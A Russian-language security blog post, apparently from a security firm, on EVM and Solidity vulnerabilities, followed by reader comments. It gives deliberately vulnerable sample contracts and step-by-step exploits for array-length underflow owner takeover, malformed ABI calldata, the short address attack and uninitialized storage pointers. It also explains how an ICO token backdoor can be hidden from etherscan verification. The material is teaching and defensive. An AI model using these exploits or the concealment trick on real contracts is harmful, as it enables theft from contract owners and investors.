Attention! S in Ethereum stands for Security. Part 2. EVM features


    Представляем вторую часть цикла, посвященного типичным уязвимостям, атакам и проблемным местам, присущим смарт-контрактам на языке Solidity, и платформе Ethereum в целом. Здесь поговорим о некоторых особенностях EVM и о том, какими уязвимостями они могут обернуться.


    В первой части мы обсудили front-running attack, различные алгоритмы генерации случайных чисел и отказоустойчивость сети с Proof-of-Authority консенсусом. А здесь список тем шире, но все они имеют прямое отношение к смарт-контрактам. Итак, поехали.


    Overflow/underflow


    Переполнения в EVM могут быть для типов int и uint всех разрядностей и с множеством операций.
    Это выглядит так:


    contract _flow {
        uint public umax = 2**256 - 1;
        uint public umin = 0;
        int public max = int(~((uint(1) << 255)));
        int public min = int((uint(1) << 255));
    
        function overflow() {
            umax++;
            max++;
            // или += 1;
            // или *= 2;
        }
    
        function underflow() {
            umin--;
            min--;
            // или -= 1;
        }
    }

    Подобное очень часто можно встретить на просторах репозиторев со смарт-контрактами, ведь всегда есть balance, CAP, price, к которым что-то прибавляют, которые умножают, делят и т.д. Хорошей практикой будет использовать библиотеку SafeMath для типа данных, с которым идет работа. При этом необходимо иметь в виду, что у Zeppelin SafeMath реализована только для uint!


    И еще одно. Может не бросаться в глаза, но для array.length тоже используется uint256, который точно так же можно переполнить. Рассмотрим такой пример:


    contract Array {
        uint[] public array;
        address public owner;
    
        function Array() {
            owner = msg.sender;
            array.push(0xaa);
        }
    
        function underflow() {
            array.length--;
        }
    
        function modify(uint index, uint value) {
            array[index] = value;
        }
    }

    Как видим, никаких функций для изменения owner нет, однако любой может стать владельцем.


    Просто расскажи мне как

    Для начала о Storage. Storage — это адресное пространство длиной 2**256 с размером ячейки 32 байта. Простые типы кладываются в ячейку, поэтому их можно получить по ключу. А для сложных типов, например, массивов, используется хеширование. В первой ячейке, отвечающей за массив, будет его длина, а сами данные начнутся последовательно с ключа, который вычисляется как keccak256(<номер_ячейки_с_длиной>). Storage применяется для хранения данных между транзакциями (вызовами функций), как некий аналог жесткого диска.


    Так вот, перейдем к эксплуатации:


    1. Вызываем underflow до тех пор, пока не произойдет underflow, и длина не станет 2**256
    2. Поскольку Storage у контракта, адресное пространство тоже имеет длину 2**256. И выходит, что array теперь занимает его полностью. Но owner всё еще на месте, просто его теперь можно получить по некому индексу array
    3. Вычисляем этот индекс:


      hex(2**256 - 0xbabecafe + 1)

      , где 0xbabecafe — это key ячейки, в которой хранится длина array (в примере это будет нулевая ячейка), а 1 — это номер ячейки, в которой хранится owner


    4. Вызываем modify:
      • index получен на этапе 3.
      • value — это новый адрес для owner. Ничего страшного, что функция принимает uint, — address это тоже число :)

    Более подробно можно почитать об этом примерe в solidity_tricks.


    ABI encoding/decoding


    Для начала отметим, что для того, чтобы посредством транзакции вызвать какую-то функцию смарт-контракта, необходимо указать ее сигнатуру в tx.data. Там же следом должны идти и аргументы, которые принимает функция. Подробно о том, как кодируется каждый из типов, можно почитать в документации.


    Необходимо принимать во внимание два момента:


    • для динамических типов нет проверок того, что их длина равна количеству присланных элементов
    • нет проверки типов (см. пример Type Confusion ниже).

    При вызове, функция забирает присланные агрументы посредством вызова инструкции calldataload и далее происходит выполнение основной ее логики. Рассмотрим поведение разных динамических типов на примере:


    contract DynamicTypes {
        uint public strLength;
        uint public bytsLength;
        uint public arrayLength;
    
        string public str;
        bytes public byts;
        address[] public array; // массив может быть и для других простых типов
    
        function callme(string _str, bytes _byts, address[] _array) public {
            strLength = bytes(_str).length;
            str = _str;
    
            bytsLength = _byts.length;
            byts = _byts;
    
            arrayLength = _array.length;
            array = _array;
        }
    }

    Вызовем функцию callme с помощью следующего кода:


    var modifiedArgs = [
        // сигнатура функции - bytes4(sha3("callme(string,bytes,address[])"))
        '0x5fc059fd', 
         // смещение по которому находится данные об аргументе _str
        '0000000000000000000000000000000000000000000000000000000000000060',
        // смещение по которому находится данные об аргументе _byts
        '00000000000000000000000000000000000000000000000000000000000000a0', 
        // смещение по которому находится данные об аргументе _array
        '00000000000000000000000000000000000000000000000000000000000000e0',
        // длина _str 64 байта. Это больше чем есть на самом деле!  
        '0000000000000000000000000000000000000000000000000000000000000040',
        // сами данные - строка *AAAA* . Длина 4 байта.
        '4141414100000000000000000000000000000000000000000000000000000000',
        // длина _byts 64 байта. Это больше чем есть на самом деле!  
        '0000000000000000000000000000000000000000000000000000000000000040',
        // сами данные - 3 байта 0x42 0x43 0x44 
        '4243440000000000000000000000000000000000000000000000000000000000', 
        // длина _array  64 байта. Это больше чем есть на самом деле!  
        '0000000000000000000000000000000000000000000000000000000000000040',
        // первый элемент массива  
        '0000000000000000000000000000000000000000000000000000000000000001',
        // второй элемент массива  
        '0000000000000000000000000000000000000000000000000000000000000002'   
    ];
    
    modifiedData = modifiedArgs.join("");  // склеиваем все это в одну байтовую последовательность
    
    // и отправляем наконец контракту
    var tx = web3.eth.sendTransaction({
        "to" : contractAdd,
        "data" : modifiedData,
        "gas" : 1185919
    });
    
    // P.S. целиком код можно посмотреть по ссылке выше.

    После того, как транзакция будет обработана, мы увидим следующую картину:


    Как можно видеть, строка на самом деле не "АААА" (@ на конце это интепретация 0x40 — длины _byts), байт в byts не три, как в данных, которые отправляли (аналогично зацепили 0x40 у следующего аргумента), ну и 64-й элемент из array мы свободно можем получить. Таким образом, чтобы получить данные, EVM берет их длину, отрезает, сколько указано от tx.data, и передает функции. И неважно, что пошел уже следующий аргумент или что tx.data кончился, — дополним нулями :)


    И в продолжении темы поговорим о Short address attack.


    contract ERC20 {
        address public who;
        uint public value;
    
        function transfer(address _who, uint _value) public {
            who = _who;
            value = _value;
        }
    }

    Контракт имеет мало общего с оригинальным ERC20 токеном, но главное, у функции transfer будет та же сигнатура, что и в оригинале. Сценарий Short address attack следующий:


    • атакущий генерирует специальный адрес c нулевыми байтами на конце, и просит жертву перевести на него токены
    • при отсутствии обработки адреса получателя клиентское приложение (кошелек, биржа) может сформировать транзакцию "как есть", и это приведет к непредвиденным последствиям для пользователя.

    Вызываем transfer:


    // defaultArgs тут только для наглядности, использоваться будет modifiedArgs 
    var defaultArgs = [
        '0xa9059cbb',
        // обратите внимание на 0x00 на конце адреса
        '0000000000000000000000003a0c7287b9aac3c71ee8b9048c5dfb989f2a4d00', 
        // пользователь хочет перевести 1 токен 
        '0000000000000000000000000000000000000000000000000000000000000001' 
    ];
    
    var modifiedArgs = [
        '0xa9059cbb',
        // атакующий предоставил адрес без нулевого байта на конце
        '0000000000000000000000003a0c7287b9aac3c71ee8b9048c5dfb989f2a4d', 
        '0000000000000000000000000000000000000000000000000000000000000001'
    ];
    
    modifiedData = modifiedArgs.join("");
    
    var tx = web3.eth.sendTransaction({
        "to" : contractAdd,
        "data" : modifiedData,
        "gas" : 1185919
    });

    Недостающий нулевой байт на конце адреса будет взят из value (парсинг аргументов происходит слева), а само value EVM просто дополнит до 32 байт (опять же нулевым байтом). Другими словами, произойдет байтовый сдвиг значения value, и оно станет равно 256 токенам (0x100), хотя пользователь хотел перевести только 1. В общем случае:


    $value = 2^{z * 8}$


    , где z — это количество нулевых байт на конце адреса (то есть может быть и 2, и 3 ...).


    Стоит отметить, что хотя атака и называется Short address attack, на самом деле это лишь частный пример. Необязательно привязываться к адресу или функции transfer, точно так же, как и к типу uint у value. Все три составляющие могут произвольно меняться, расширяя классическое представление о short address attack. Более того, слово Short так же относится к частному примеру. Атакующий может предоставить адрес длиннее, чем обычно, и лишние байты станут началом value, а концовка будет обрезана — то есть произойдет сдвиг вправо.


    Uninitialized storage pointer


    Данная проблема уже затрагивалась на Хабре, поэтому упомянем ее кратко. Здесь для понимания необходимо иметь в виду два момента:


    • В соответствии с документацией, каждый сложный тип имеет дополнительную аннотацию о том, где он хранится (Storage или Memory)
    • Все локальные переменные по умолчанию хранятся в Storage, а аргументы функций — в Memory.

    Теперь пример:


    contract Uninitialized {
        address public owner; // хранится в Storage(нулевая ячейка), инициализирована 0x00
        uint public balance;  // хранится в Storage(первая ячейка), инициализирована 0
        struct Billy {
            address where;
        }
    
        function rewriteOwner(address _where) public {
            Billy tmp;  // указывает на нулевую ячейку Storage, не инициализирована
            tmp.where = _where;
        }
    
        function rewriteBoth(bytes s) public {
            uint8[64] copy; // указывает на нулевую ячейку Storage, не инициализирована
            for (uint8 i = 0; i < 64; i++)
            copy[i] = uint8(s[i]);
        }
    }

    При деплое контракта переменные owner и balance проинициализированы значениями по умолчанию, и нет никакого явного кода, чтобы изменить их. Однако, это возможно. Если вызвать функцию rewriteOwner с каким-нибудь адресом, при присвоении tmp.where = _where будет перезаписан еще и owner. Происходит это потому, что переменная tmp — ссылочный тип, и для нее явно не задано, где хранятся данные, а значит (по умолчанию) tmp ссылается на Storage, причем на нулевую ячейку.


    Ситуация полностью аналогична для массива copy в функции rewriteBoth, однако мы упоминаем ее для того, чтобы показать, что ячейки Storage находятся друг за другом, и если 32 байт нулевой ячейки не хватит, то будет перезаписана следующая и т.д.


    Для того, чтобы такого не происходило есть два варианта:


    • поместить переменную в Memory (ключевое слово memory)
    • использовать у функции идентификаторы pure и view (ну или constant по старому стилю).

    Type Confusion


    Следующая особенность относится к тому, как EVM работает с типами. Во время исполнения проверок типов нет, все они происходят на уровне компилятора. И, как мы видели на примерах выше, функции вызываются по сигнатуре, а если сигнатура не найдена, то будет вызвана fallback-функция.


    Рассмотрим это на примере эпичного сражения из фильма Матрица. Предположим, что в матрице персонажи представлены смарт-контрактами (Neo и Smith). И, для удобства, каждый определил абстрактный класс для взамодействия с другим (в чистом виде синтаксический сахар):


    // Итак, вот исходник контракта, который пишет Смит:
    
    /* Абстрактный класс Neo, чтобы было удобнее вызывать его функции  */
    contract Neo {
        function obtainDamage (uint256 value);
    }
    
    // А вот сам контракт Смита
    contract Smith {
        uint public health = 100;
    
        function doDamage (address who) {
            Neo(who).obtainDamage(100); // вызов функции у контракта Neo
        }
    
        function obtainDamage (uint256 value) {
            health -= value;
        }
    }

    А вот контракт, который играет роль Neo:


    /* Абстрактный класс Смита */
    contract Smith {
        function obtainDamage (uint256 value);
    }
    
    contract Neo {
        uint8 public health = 100;
    
        function () {
            Smith(msg.sender).obtainDamage(100);
        }
    
        function obtainDamage (uint8 value) {
            health -= value;
        }
    }

    Оба деплоят свои контраты в матрицу сеть, узнают адреса друг друга, и начинается сражение:


    • Смит нападает первым посредством вызова doDamage с адресом контакта Нео
    • EVM ищет сигнатуру bytes4(sha3("obtainDamage(uint256)")) == 0x7366f929 и не находит, поэтому вызывется fallback функция (так Нео увернулся от удара)
    • внутри fallback Нео наносит ответный удар посредством вызова точно такой же функции у контракта Смита.

    Почему так произошло?

    Давайте посмотрим внимательнее на функцию obtainDamage в контракте Нео. Ее сигнатура на самом деле равна bytes4(sha3("obtainDamage(uint8)")) == 0x1f26cd3a, поскольку тип value указан другой.


    А теперь вопрос «на засыпку». Как в условиях реального проекта ICO, Crypto<put animals here> и других реализовать backdoor?
    Ответ

    Рассмотрим на примере ICO. У ICO обычно есть два контракта — ERC20 токен и Crowdsale. Backdoor расположим в контракте токена: например, добавим функцию scoopAndDisappear.


    • после деплоя, на ethersсan нужно засабмитить исходники только crowdsale, в которых будет также контракт токена, но бэкдор надо, конечно, вырезать
    • для адреса токена ничего не сабмитить, а если будут спрашивать, то можно ответить примерно следующее: "в crowdsale же есть уже контракт токена".

    Работать это будет потому, что etherscan компилит тот исходник, который ему предоставили, и сверяет байт-код с тем, что был в транзакции при создании. Если совпадает, то все хорошо. А совпадать будет, потому что контракт токена нужен там только для того, чтобы сделать правильные сигнатуры для вызова (самого байт-кода контракта там нет).


    Поэтому важно, чтобы разработчики указывали на etherscan.io исходники всех контрактов, которые применяются в проекте. Исключение может составить разве что случай, когда один контракт создает другой (через конструкцию new). Тогда да — актуальный байт-код будет в транзации создания.


    И вот еще один пример backdoor. Ситуация, которая складывается из-за невнимательности людей.


    На сегодня все, в следующей серии мы перейдем уже непосредственно к Solidity, и посмотрим, чем он отличается от других языков программирования.

    Digital Security
    407.12
    Безопасность как искусство
    Share post

    Similar posts

    Comments 4

      0
      А для сложных типов, например, массивов, используется хеширование.

      Тут нужно уточнить, что только для динамических массивов. Массивы с фиксированной длиной будут раполагаться в storage последовательно. Этот кейс был использован в контракте Doug Hoyte на Underhanded Solidity Contest: https://github.com/Arachnid/uscc/tree/master/submissions-2017/doughoyte


      Кстати, а почему "S in Ethereum stands for Security"? Ethereum же не аббревиатура :)

        +3
        Кстати, а почему «S in Ethereum stands for Security»? Ethereum же не аббревиатура

        Чтобы было более явно что шутка :)
        0
        Когда увидел картинку к статье
        Скрытый текст
        ZOMG, Is this a m***ucking Evangelion reference?

          0
          Кажется, компилятор версии <2.5 (или 2.2) не вставлял проверку выхода за границу массива и функцию
          function modify(uint index, uint value) можно было вызвать с любыми параметрами.

          Only users with full accounts can post comments. Log in, please.